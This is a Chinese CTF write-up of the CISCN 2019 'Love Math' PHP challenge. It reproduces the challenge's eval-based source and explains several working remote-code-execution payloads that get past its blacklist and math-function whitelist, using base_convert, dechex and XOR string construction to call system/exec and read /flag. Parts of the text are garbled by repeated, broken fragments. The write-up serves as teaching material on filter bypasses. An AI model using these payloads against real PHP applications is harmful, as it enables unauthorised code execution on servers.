# NSS [CISCN 2019初賽]Love Math
開題直接給源碼
<?php
error_reporting(0);
//聽說你很喜歡數(shù)學(xué),不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太長了不會(huì)算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("請不要輸入奇奇怪怪的字符");
}
}
//常用數(shù)學(xué)函數(shù)http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("請不要輸入奇奇怪怪的函數(shù)");
}
}
//幫你算出答案
eval('echo '.$content.';'); //最后變?yōu)閑val('echo tac /flag;');
}
代碼分析:
foreach():用來遍歷一個(gè)數(shù)組
preg_match_all():搜索content
中所有匹配給定正則表達(dá)式的匹配結(jié)果并且將它們輸出到used_funcs
中.
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
這行代碼使用正則表達(dá)式匹配數(shù)學(xué)表達(dá)式中的函數(shù)名,并將匹配的結(jié)果存儲(chǔ)在 $used_funcs
數(shù)組中。
dechex():將10進(jìn)制轉(zhuǎn)成16進(jìn)制。
hexdec():將16進(jìn)制轉(zhuǎn)成10進(jìn)制。
base_convert():base_convert(1001,2,10)是將二進(jìn)制的1001轉(zhuǎn)換為10進(jìn)制的9。
簡單掃一遍代碼,我們是從最后一句的 c o n t e n t 下手進(jìn)行 R C E , content下手進(jìn)行RCE, content下手進(jìn)行RCE,content是我們get方法傳參進(jìn)來的c。
c
o
n
t
e
n
t
要求長度小于
80
,不能包含
content要求長度小于80,不能包含
content要求長度小于80,不能包含blacklist中的字符??梢允褂玫模喊酌麊沃械臄?shù)學(xué)函數(shù),.
,^
等
方法一:動(dòng)態(tài)調(diào)用函數(shù)
什么是動(dòng)態(tài)調(diào)用函數(shù)?就是下面代碼會(huì)執(zhí)行會(huì)執(zhí)行 system(‘ls’);
$a='system';
$a('ls');
如果我們想構(gòu)造一個(gè)$_GET[pi]
首先中括號(hào)被禁用我們可以用花括號(hào)代替,變成$_GET{pi}
GET可以用base_convert()進(jìn)制轉(zhuǎn)換,把十進(jìn)制163983轉(zhuǎn)成62進(jìn)制獲得,但是_卻無法獲得。此路不通
PHP中有將16進(jìn)制轉(zhuǎn)成字符串的函數(shù)hex2bin(),十六進(jìn)制5f474554轉(zhuǎn)字符串就是_GET
那么我們hex2bin(5f474554)就能得到_GET,但是代碼過濾a-zA-Z
所以我們加一步十進(jìn)制轉(zhuǎn)十六進(jìn)制。
hex2bin(dechex(1598506324))就能得到_GET。
那么hex2bin怎么獲得呢?
利用base_convert()將十進(jìn)制37907361743轉(zhuǎn)化為36進(jìn)制,得到hex2bin。 //動(dòng)態(tài)函數(shù)調(diào)用。
所以_GET=hex2bin(5f474554)=hex2bin(dechex(1598506324))=base_convert(37907361743,10,36)(dechex(1598506324))
payload:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag
方法二:利用getallheaders()函數(shù)
base_convert(696468,10,36)
//exec
$pi(8768397090111664438,10,30)
//getallheaders
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
//exec(getallheaders(){1})
payload:
?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
1=tac /flag
方法三:直接cat /flag
payload:
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//exec('hex2bin(dechex(109270211257898))')
//exec('cat f*')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
//system('cat'.dechex(16)^asinh^pi)
//system('cat *')
此外
還有一種payload:【可以細(xì)細(xì)研究一下】
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
總結(jié)一下:文章來源:http://www.zghlxwxcb.cn/news/detail-660107.html
利用 進(jìn)制轉(zhuǎn)換函數(shù)或者異或 構(gòu)造字符串從而進(jìn)行RCE。這題還是很巧妙的。文章來源地址http://www.zghlxwxcb.cn/news/detail-660107.html
到了這里,關(guān)于NSS [CISCN 2019初賽]Love Math的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!